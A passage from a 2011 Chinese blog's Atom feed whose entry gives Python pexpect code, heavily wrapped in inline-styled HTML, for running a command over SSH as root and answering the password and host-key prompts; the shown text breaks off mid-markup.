<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom"><title type="text">博客园_文 库</title><subtitle type="text">库中万物皆非宝，临到用时价千斤！</subtitle><id>http://feed.cnblogs.com/blog/u/9449/rss</id><updated>2011-09-12T15:04:24Z</updated><author><name>Cursorkey</name><uri>http://www.cnblogs.com/cursorkey/</uri></author><generator>CNBlogs BlogServer</generator><link rel="alternate" type="text/html" href="http://www.cnblogs.com/cursorkey/"/><link rel="self" type="application/atom+xml" href="http://feed.cnblogs.com/blog/u/9449/rss"/><entry><id>http://www.cnblogs.com/cursorkey/archive/2011/08/02/2125635.html</id><title type="text">pexpect实现的ssh连接（pexpect可从sourceforge下载）</title><summary type="text">defssh_cmd(ip,passwd,cmd,newpwd): ret= -1 ssh=pexpect.spawn(&amp;#39;ssh -q -p36000 root@%s &amp;quot;%s&amp;quot;&amp;#39;%(ip,cmd)) try: i=ssh.expect([&amp;#39;password:&amp;#39;,&amp;#39;continue connecting (yes/no)?&amp;#39;],timeout=5) ifi==0: ssh.sendline(passwd) elifi==1: ssh.sendline(&amp;#39;yes\n&amp;#39;) ssh.expect(&amp;#39;passwo</summary><published>2011-08-02T15:44:00Z</published><updated>2011-08-02T15:44:00Z</updated><author><name>Cursorkey</name><uri>http://www.cnblogs.com/cursorkey/</uri></author><link rel="alternate" href="http://www.cnblogs.com/cursorkey/archive/2011/08/02/2125635.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/cursorkey/archive/2011/08/02/2125635.html"/><content type="html">&lt;div&gt;&lt;span style="font-family: Fixedsys, 'BitStream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 13px; line-height: 22px; "&gt;&lt;ol ln-hide"="" title="Double click to show line number." style="padding-top: 0px; padding-right: 12px; padding-bottom: 0px; padding-left: 56px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; background-image: url(http://zhwen.org/xlog/wp-content/plugins/coolcode/images/hide.gif); list-style-type: none !important; background-color: transparent; background-position: 5px 5px; background-repeat: no-repeat no-repeat; "&gt;&lt;li style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 12px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; list-style-type: none !important; border-top-width: 1px; border-top-style: solid; border-top-color: #e3eef9 !important; display: list-item !important; font-size: 12px !important; line-height: 20px !important; border-left-width: 1px; border-left-style: solid; border-left-color: #c3ced9; background-color: #f9fbfc !important; "&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;def&lt;/span&gt;&amp;nbsp;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;ssh_cmd&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: olive; "&gt;(&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;ip&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;passwd&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;cmd&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;newpwd&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: olive; "&gt;)&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;:&lt;/span&gt;&lt;/li&gt;&lt;li style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 12px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; list-style-type: none !important; display: list-item !important; font-size: 12px !important; line-height: 20px !important; border-left-width: 1px; border-left-style: solid; border-left-color: #c3ced9; border-top-width: 1px; border-top-style: solid; border-top-color: #e3eef9 !important; background-color: #f9fbfc !important; "&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;ret&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;&amp;nbsp;= -&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: maroon; "&gt;1&lt;/span&gt;&lt;/li&gt;&lt;li style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 12px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; list-style-type: none !important; display: list-item !important; font-size: 12px !important; line-height: 20px !important; border-left-width: 1px; border-left-style: solid; border-left-color: #c3ced9; border-top-width: 1px; border-top-style: solid; border-top-color: #e3eef9 !important; background-color: #f9fbfc !important; "&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;ssh&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;pexpect&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;.&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;spawn&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: olive; "&gt;(&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #8b0000; "&gt;'&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: red; "&gt;ssh -q -p36000 root@%s "%s"&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #8b0000; "&gt;'&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;&amp;nbsp;%&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: olive; "&gt;(&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;ip&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;cmd&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: olive; "&gt;))&lt;/span&gt;&lt;/li&gt;&lt;li style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 12px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; list-style-type: none !important; display: list-item !important; font-size: 12px !important; line-height: 20px !important; border-left-width: 1px; border-left-style: solid; border-left-color: #c3ced9; border-top-width: 1px; border-top-style: solid; border-top-color: #e3eef9 !important; background-color: #f9fbfc !important; "&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: green; "&gt;try&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;:&lt;/span&gt;&lt;/li&gt;&lt;li style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 12px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; list-style-type: none !important; display: list-item !important; font-size: 12px !important; line-height: 20px !important; border-left-width: 1px; border-left-style: solid; border-left-color: #c3ced9; border-top-width: 1px; border-top-style: solid; border-top-color: #e3eef9 !important; background-color: #f9fbfc !important; "&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;i&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;ssh&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;.&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;expect&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: olive; "&gt;([&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #8b0000; "&gt;'&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: red; "&gt;password:&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #8b0000; "&gt;'&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #8b0000; "&gt;'&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: red; "&gt;continue connecting (yes/no)?&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #8b0000; "&gt;'&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: olive; "&gt;]&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;timeout&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;=&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: maroon; "&gt;5&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: olive; "&gt;)&lt;/span&gt;&lt;/li&gt;&lt;li style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 12px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; list-style-type: none !important; display: list-item !important; font-size: 12px !important; line-height: 20px !important; border-left-width: 1px; border-left-style: solid; border-left-color: #c3ced9; border-top-width: 1px; border-top-style: solid; border-top-color: #e3eef9 !important; background-color: #f9fbfc !important; "&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: green; "&gt;if&lt;/span&gt;&amp;nbsp;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;i&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;&amp;nbsp;==&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: maroon; "&gt;0&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;&amp;nbsp;:&lt;/span&gt;&lt;/li&gt;&lt;li style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 12px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; list-style-type: none !important; display: list-item !important; font-size: 12px !important; line-height: 20px !important; border-left-width: 1px; border-left-style: solid; border-left-color: #c3ced9; border-top-width: 1px; border-top-style: solid; border-top-color: #e3eef9 !important; background-color: #f9fbfc !important; "&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;ssh&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;.&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;sendline&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: olive; "&gt;(&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;passwd&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: olive; "&gt;)&lt;/span&gt;&lt;/li&gt;&lt;li style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 12px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; list-style-type: none !important; display: list-item !important; font-size: 12px !important; line-height: 20px !important; border-left-width: 1px; border-left-style: solid; border-left-color: #c3ced9; border-top-width: 1px; border-top-style: solid; border-top-color: #e3eef9 !important; background-color: #f9fbfc !important; "&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;elif&lt;/span&gt;&amp;nbsp;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;i&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;&amp;nbsp;==&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: maroon; "&gt;1&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;:&lt;/span&gt;&lt;/li&gt;&lt;li style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 12px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; list-style-type: none !important; display: list-item !important; font-size: 12px !important; line-height: 20px !important; border-left-width: 1px; border-left-style: solid; border-left-color: #c3ced9; border-top-width: 1px; border-top-style: solid; border-top-color: #e3eef9 !important; background-color: #f9fbfc !important; "&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;ssh&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;.&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;sendline&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: olive; "&gt;(&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #8b0000; "&gt;'&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: red; "&gt;yes&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: navy; "&gt;\n&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #8b0000; "&gt;'&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: olive; "&gt;)&lt;/span&gt;&lt;/li&gt;&lt;li style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 12px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; list-style-type: none !important; display: list-item !important; font-size: 12px !important; line-height: 20px !important; border-left-width: 1px; border-left-style: solid; border-left-color: #c3ced9; border-top-width: 1px; border-top-style: solid; border-top-color: #e3eef9 !important; background-color: #f9fbfc !important; "&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;ssh&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;.&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;expect&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: olive; "&gt;(&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #8b0000; "&gt;'&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: red; "&gt;password:&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #8b0000; "&gt;'&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: olive; "&gt;)&lt;/span&gt;&lt;/li&gt;&lt;li style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 12px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; list-style-type: none !important; display: list-item !important; font-size: 12px !important; line-height: 20px !important; border-left-width: 1px; border-left-style: solid; border-left-color: #c3ced9; border-top-width: 1px; border-top-style: solid; border-top-color: #e3eef9 !important; background-color: #f9fbfc !important; "&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;ssh&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: gray; "&gt;.&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;sendline&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: olive; "&gt;(&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: blue; "&gt;passwd&lt;/span&gt;&lt;span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: olive; "&gt;)&lt;/span&gt;&lt;/li&gt;&lt;li style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 12px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; list-style-type: none !important; display: list-item !important; font-size: 12px !important; line-height: 20px !important; border-left-width: 1px; border-left-style: solid; border-left-color: #c3ced9; border-top-width: 1px; border-top-style: solid; border-top-color: #e3eef9 !important; background-color: 